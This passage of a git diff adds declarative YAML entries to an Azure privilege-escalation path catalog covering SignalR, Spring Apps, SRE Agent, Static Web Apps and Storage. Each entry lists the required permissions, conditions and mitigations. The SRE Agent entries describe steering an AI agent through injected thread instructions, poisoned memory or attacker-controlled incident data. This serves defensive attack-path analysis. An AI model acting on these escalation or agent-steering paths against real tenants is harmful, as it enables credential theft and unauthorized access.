description: The azure_service_linkers inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md + notes: 'Collector fact required: azure_service_linkers. UNKNOWN until the linker authentication type and target credential principal are collected; never persist secret values.' diff --git a/src/privilege-escalation-paths-research/azure/signalr.yaml b/src/privilege-escalation-paths-research/azure/signalr.yaml new file mode 100644 index 0000000000..caf3191e4a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/signalr.yaml @@ -0,0 +1,85 @@ +# Azure SignalR Service and Web PubSub techniques (declarative only). +# Source: hacktricks-cloud az-signalr-web-pubsub-privesc.md (re-reviewed at rev a66f094ede). +# Upstream / event-handler managed-identity auth sends the service identity's Entra token to the configured +# endpoint. The token audience is the upstream ManagedIdentity.Resource setting, so the gain is limited to +# what that audience accepts; entries are conditional and the evaluator should not treat them as a full +# ARM takeover of the identity. + +- id: azure-signalr-upstream-managed-identity-token + provider: azure + service: signalr + title: Repoint a SignalR upstream or Web PubSub event handler to capture its managed-identity token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrwrite---upstream-repoint-event-exfil--mi-token-ssrf + source_revision: a66f094ede + summary: Rewriting the upstream (SignalR) or hub event-handler (Web PubSub) settings that use managed-identity auth makes the service send that identity's Entra token to an endpoint the source chooses. + requires: + all_of: [] + any_of: + - - action: Microsoft.SignalRService/SignalR/write + scope: "{target.host_resource}" + - - action: Microsoft.SignalRService/WebPubSub/hubs/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: + - Microsoft.SignalRService/SignalR + - Microsoft.SignalRService/WebPubSub + scope: inherited_scope + aggregate_as: "Managed identities of SignalR / Web PubSub resource {target.host_resource}" + outcome: credentials + conditions: + - id: token_audience + description: The captured token is issued for the upstream ManagedIdentity.Resource audience; it is usable only against services that accept that audience. + - id: client_event_needed + description: A token is sent only when a client event (connect, invocation, disconnect) triggers the upstream call. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict SignalR/write and WebPubSub/hubs/write, pin upstream URLs to owned endpoints, and give service identities only the audience-specific roles they need. + references: + - https://learn.microsoft.com/en-us/azure/azure-signalr/howto-use-managed-identity + - https://learn.microsoft.com/en-us/azure/azure-web-pubsub/howto-use-managed-identity + notes: Partial identity gain bounded by the token audience; evaluator should not propagate the identity's unrelated role assignments. + +- id: azure-signalr-assign-user-assigned-identity + provider: azure + service: signalr + title: Attach a user-assigned identity to SignalR or Web PubSub and capture its upstream token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#managed-identity-attach-via-signalrwrite-or-webpubsubwrite + source_revision: a66f094ede + summary: Attaching an assignable user-assigned identity to a SignalR or Web PubSub resource and selecting it for upstream or event-handler auth makes the service send that identity's token to an endpoint the source chooses. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + any_of: + - - action: Microsoft.SignalRService/SignalR/write + scope: "{pivot}" + - - action: Microsoft.SignalRService/WebPubSub/write + scope: "{pivot}" + - action: Microsoft.SignalRService/WebPubSub/hubs/write + scope: "{pivot}" + pivot_resource_type: Microsoft.SignalRService/SignalR|Microsoft.SignalRService/WebPubSub + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + outcome: credentials + conditions: + - id: token_audience + description: The captured token is issued for the upstream ManagedIdentity.Resource audience; it is usable only against services that accept that audience. + - id: client_event_needed + description: A token is sent only when a client event triggers the upstream call. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict userAssignedIdentities/assign/action and SignalR / Web PubSub write roles. + references: + - https://learn.microsoft.com/en-us/azure/azure-signalr/howto-use-managed-identity + notes: Partial identity gain bounded by the token audience; evaluator should not propagate the identity's unrelated role assignments. diff --git a/src/privilege-escalation-paths-research/azure/spring_apps.yaml b/src/privilege-escalation-paths-research/azure/spring_apps.yaml new file mode 100644 index 0000000000..60b6ce8407 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/spring_apps.yaml @@ -0,0 +1,225 @@ +- id: azure-springapps-deployment-write-app-identity + provider: azure + service: spring_apps + title: Change a Spring Apps deployment to run attacker code as the app's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: 171e422 + summary: The source can run code inside a Spring app and obtain the privileges of the managed identities attached to that app. + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.AppPlatform/Spring/apps + scope: inherited_scope + aggregate_as: "Managed identities of Spring app {target.host_resource}" + conditions: + - id: code_source + description: Code reaches the app through a new artifact (upload URL from apps/getResourceUploadUrl/action, or Enterprise buildServices upload plus builds/write), a custom container image from a reachable registry, or a JVM option / environment variable on the existing deployment that loads code already present or mountable in the container. + - id: deployment_running + description: The modified deployment must be started or restarted (deployments/write normally triggers a rollout). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict apps/deployments/write to deployment pipelines, keep Spring app identities least-privileged, and alert on deployment changes to jvmOptions, environment variables or container images. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-enable-system-assigned-managed-identity + notes: Covers system- and user-assigned app identities. Updating an existing deployment needs only deployments/write; apps/write is not required. Azure Spring Apps Basic/Standard/Enterprise are in a retirement period ending 2028. +- id: azure-springapps-app-write-user-assigned-identity + provider: azure + service: spring_apps + title: Create or update a Spring app with a user-assigned identity and deploy code to it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: 171e422 + summary: The source can attach a user-assigned identity it may assign to a Spring app and run code as that identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.AppPlatform/Spring/apps/write + scope: "{pivot}" + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "{pivot}" + pivot_resource_type: Microsoft.AppPlatform/Spring + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: code_source + description: Code reaches the app through an uploaded artifact, a custom container image, or deployment JVM options / environment variables. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Spring apps/write; keep user-assigned identities scoped to the workloads that need them. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-manage-user-assigned-managed-identities + notes: The pivot is a Spring Apps service instance; the new or updated app is its child. +- id: azure-audit-listtestkeys-public-test-endpoints + provider: azure + service: spring_apps + title: listTestKeys / public test endpoints + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + summary: app endpoint key and, conditionally, application secrets + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/listTestKeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: listTestKeys / public test endpoints on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-listtestkeys-public-test-endpoints + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/retirement-announcement + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: springApps.testEndpoints.' +- id: azure-audit-microsoftappplatformspringregeneratetestkeyaction + provider: azure + service: spring_apps + title: Microsoft.AppPlatform/Spring/regenerateTestKey/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + summary: replacement app endpoint key and conditional secrets + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/regenerateTestKey/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.AppPlatform/Spring/regenerateTestKey/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftappplatformspringregeneratetestkeyaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/retirement-announcement + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: springApps.testEndpoints.' +- id: azure-audit-custom-container-build-service-supply-chain + provider: azure + service: spring_apps + title: Custom container / build-service supply chain + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + summary: attacker code executes in future app deployment as its identity + requires: + all_of: [] + any_of: + - - action: Microsoft.AppPlatform/Spring/buildServices/builders/write + scope: '{target.scope}' + - - action: Microsoft.AppPlatform/Spring/buildServices/builders/buildpackBindings/write + scope: '{target.scope}' + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-audit-custom-container-build-service-supply-chain + scope: inherited_scope + aggregate_as: Custom container / build-service supply chain on {target.scope} + outcome: workload_execution + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/retirement-announcement + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: springApps.builderBindings.' +- id: azure-spring-apps-microsoftappplatformspringapmslistsecretkeysaction + provider: azure + service: spring_apps + title: Obtain Spring Apps APM integration credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringapmslistsecretkeysaction + source_revision: 0b36331 + summary: returns the secret keys of a Spring Apps APM (Application Performance Monitor) integration. An APM config holds the credentials Spring Apps uses to ship telemetry to a monitoring backend — e.g. an Application Insights connection string, or a New Relic license key / Dynatrace API token / AppDynamics / Elastic APM secret. Stealing them grants access to the org's monitoring backend (read telemetry that itself often leaks internal hostnames, SQL, headers and tokens; inject or forge telemetry) and, for third-party SaaS APMs, a credential to pivot into that external account. Distinct from the config + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/apms/listSecretKeys/action + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-spring-apps-microsoftappplatformspringapmslistsecretkeysaction + scope: inherited_scope + aggregate_as: Pending service authority for spring_apps + outcome: application_admin + grants: + - The named APM integration key or telemetry-backend token configured on the Spring Apps service. + conditions: + - id: collector_fact_required + description: The azure_spring_apms inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md + notes: 'Collector fact required: azure_spring_apms. UNKNOWN until backend and credential type are known; telemetry ingestion-only keys are not privileged principals.' +- id: azure-spring-apps-config-server-bindings-secret-exposure + provider: azure + service: spring_apps + title: Read Spring Apps environment and binding secrets + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#config-server--bindings--secret-exposure + source_revision: 0b36331 + summary: The page explicitly describes environment-variable and binding secret exposure; a secret-bearing configuration is a credential target when present. + requires: + all_of: [] + any_of: + - - action: Microsoft.AppPlatform/Spring/apps/read + scope: '{target.scope}' + data_action: true + - - action: Microsoft.AppPlatform/Spring/apps/bindings/read + scope: '{target.scope}' + data_action: true + - - action: Microsoft.AppPlatform/Spring/configService/read + scope: '{target.scope}' + data_action: true + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-spring-apps-config-server-bindings-secret-exposure + scope: inherited_scope + aggregate_as: Pending service authority for spring_apps + outcome: application_admin + grants: + - Actual configured application environment or binding credential; no target if no secret value exists. + conditions: + - id: collector_fact_required + description: The azure_spring_app_secrets inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md + notes: 'Collector fact required: azure_spring_app_secrets. UNKNOWN until actual secret-bearing configuration and its principal are identified; poisoned config requires runtime consumption.' diff --git a/src/privilege-escalation-paths-research/azure/sre_agent.yaml b/src/privilege-escalation-paths-research/azure/sre_agent.yaml new file mode 100644 index 0000000000..dd6c494e21 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/sre_agent.yaml @@ -0,0 +1,168 @@ +- id: azure-sre-agent-drive-managed-identity + provider: azure + service: sre_agent + title: Instruct or reconfigure an SRE Agent to act with its managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + summary: Opening threads, creating scheduled tasks or rewriting the agent configuration lets the source steer the agent into performing actions with its managed identity's RBAC. + requires: + all_of: [] + any_of: + - - action: Microsoft.App/agents/threads/write + scope: "{target.host_resource}" + - - action: Microsoft.App/agents/scheduledtasks/write + scope: "{target.host_resource}" + - - action: Microsoft.App/agents/write + scope: "{target.host_resource}" + - - action: Microsoft.App/agents/memory/write + scope: "{target.host_resource}" + - - action: Microsoft.App/agents/dataconnectors/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/agents + scope: inherited_scope + aggregate_as: "Managed identities of SRE Agent {target.host_resource}" + conditions: + - id: run_mode + description: In Review mode write actions need approval (threads/approve/action, held by SRE Agent Administrators); without that right only Autonomous mode lets the agent act unapproved. + - id: tool_policies + description: Per-tool allow, ask or deny policies and agent hooks limit which actions the agent will perform. + - id: model_mediated + description: Actions are chosen by the agent's model from the source's instructions, so the source steers the identity but gets no token and no arbitrary code execution. + - id: indirect_steering + description: memory/write and dataconnectors/write only steer later runs (persistent memory or attacker-controlled incident data) that a thread, schedule or incident must start. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict threads/write, scheduledtasks/write and agents/write, keep agents in Review mode, scope the agent identity's RBAC narrowly, and set deny or ask policies for write tools. + references: + - https://learn.microsoft.com/en-us/azure/sre-agent/overview + - https://learn.microsoft.com/en-us/azure/sre-agent/run-modes + notes: threads/approve/action alone only approves actions the agent already proposed, so it is not an alternative here. +- id: azure-sre-agent-assign-user-assigned-identity + provider: azure + service: sre_agent + title: Rebind an SRE Agent to a user-assigned identity and steer it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + source_revision: a66f094ede + summary: Rewriting the agent configuration to use an assignable user-assigned identity lets the source steer the agent into acting with that identity's RBAC. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.App/agents/write + scope: "{pivot}" + pivot_resource_type: Microsoft.App/agents + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: run_mode + description: In Review mode write actions need approval (threads/approve/action); only Autonomous mode lets the agent act unapproved. + - id: model_mediated + description: Actions are chosen by the agent's model, so the source steers the identity but gets no token and no arbitrary code execution. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and agents/write, and keep agents in Review mode. + references: + - https://learn.microsoft.com/en-us/azure/sre-agent/overview + notes: agents/write is also the instruction channel used by azure-sre-agent-drive-managed-identity. +- id: azure-audit-drive-the-agents-managed-identity-instruction-tool-config-injection-agen + provider: azure + service: sre_agent + title: Drive the agent's managed identity — instruction / tool-config injection (agents/threads, agents/write, + ...) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#drive-the-agents-managed-identity--instruction--tool-config-injection-agentsthreads-agentswrite- + summary: approve privileged agent remediation as its MI + requires: + all_of: + - action: Microsoft.App/agents/threads/approve/action + scope: '{target.scope}' + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-audit-drive-the-agents-managed-identity-instruction-tool-config-injection-agen + scope: inherited_scope + aggregate_as: Drive the agent's managed identity — instruction / tool-config injection (agents/threads, agents/write, + ...) on {target.scope} + outcome: workload_execution + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/sre-agent/overview + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: sreAgents.pendingApprovals.' +- id: azure-sre-agent-microsoftappagentsdataconnectorslistsecretsaction + provider: azure + service: sre_agent + title: Read an SRE Agent connector credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentsdataconnectorslistsecretsaction + source_revision: 0b36331 + summary: Returns the cleartext protected configuration of one connector (dataSource and protected CustomHeader values normally redacted on GET) -> reusable credentials to source code, telemetry, incident-management systems, or other external data. Scope is the downstream service permissions of each returned credential; callable against a known connector ID without agent/connector read. + requires: + all_of: + - action: Microsoft.App/agents/dataconnectors/listSecrets/action + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-sre-agent-microsoftappagentsdataconnectorslistsecretsaction + scope: inherited_scope + aggregate_as: Pending service authority for sre_agent + outcome: application_admin + grants: + - The exact SRE Agent OAuth/private-key credential or named data connector credential returned by listSecrets. + conditions: + - id: collector_fact_required + description: The azure_sre_connector_secrets inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md + notes: 'Collector fact required: azure_sre_connector_secrets. UNKNOWN until a reusable credential and its target principal/rights are identified.' +- id: azure-sre-agent-microsoftappagentslistsecretsaction + provider: azure + service: sre_agent + title: Read an SRE Agent protected credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentslistsecretsaction + source_revision: 0b36331 + summary: Control-plane action returning the protected secrets of an SRE Agent (can include private key material / generated OAuth key). Callable against a known agent ID without Microsoft.App/agents/read -> credential disclosure; downstream scope is whatever the recovered key grants. + requires: + all_of: + - action: Microsoft.App/agents/listSecrets/action + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-sre-agent-microsoftappagentslistsecretsaction + scope: inherited_scope + aggregate_as: Pending service authority for sre_agent + outcome: application_admin + grants: + - The exact SRE Agent OAuth/private-key credential or named data connector credential returned by listSecrets. + conditions: + - id: collector_fact_required + description: The azure_sre_agent_secrets inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md + notes: 'Collector fact required: azure_sre_agent_secrets. UNKNOWN until the protected value is known to be a reusable privileged credential.' diff --git a/src/privilege-escalation-paths-research/azure/static_web_apps.yaml b/src/privilege-escalation-paths-research/azure/static_web_apps.yaml new file mode 100644 index 0000000000..1417542939 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/static_web_apps.yaml @@ -0,0 +1,30 @@ +- id: azure-audit-microsoftwebstaticsiteslistsecretsaction + provider: azure + service: static_web_apps + title: Microsoft.Web/staticSites/listSecrets/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + summary: deployment token allowing arbitrary site content + requires: + all_of: + - action: Microsoft.Web/staticSites/listSecrets/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Web/staticSites/listSecrets/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftwebstaticsiteslistsecretsaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/static-web-apps/snippets + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: staticWebApps.deploymentAuth.' diff --git a/src/privilege-escalation-paths-research/azure/storage.yaml b/src/privilege-escalation-paths-research/azure/storage.yaml new file mode 100644 index 0000000000..648261220a --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/storage.yaml @@ -0,0 +1,279 @@ +- id: azure-audit-microsoftstoragestorageaccountslistkeysaction + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/listkeys/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + summary: account key authenticating all four storage services + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/listkeys/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountslistkeysaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-audit-microsoftstoragestorageaccountsregeneratekeyaction + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/regenerateKey/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + summary: replacement account key, also unchanged key in response + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/regenerateKey/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/regenerateKey/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountsregeneratekeyaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-audit-microsoftstoragestorageaccountslistaccountsasaction + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/listAccountSas/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + summary: attacker-chosen account SAS + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/listAccountSas/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/listAccountSas/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountslistaccountsasaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-audit-microsoftstoragestorageaccountslistservicesasaction + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/listServiceSas/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + summary: attacker-chosen service SAS + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/listServiceSas/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/listServiceSas/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountslistservicesasaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-audit-microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageac + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + summary: new SFTP credential with container rights + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) + on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageac + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction + provider: azure + service: storage + title: Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + summary: replacement SFTP password inheriting user rights + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action on {target.scope} + outcome: permission_grant + selector: + azure_challenge_fact: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction + conditions: + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: 'Draft is disabled until the stated schema feature or collector fact is implemented; unresolved facts must + evaluate UNKNOWN. Collector fact required: storageAccounts.' +- id: azure-storage-blob-content-credential + provider: azure + service: storage + title: Read Entra credentials embedded in blobs + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobsread + source_revision: 0b36331 + summary: Read a verified usable credential from a readable blob and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - 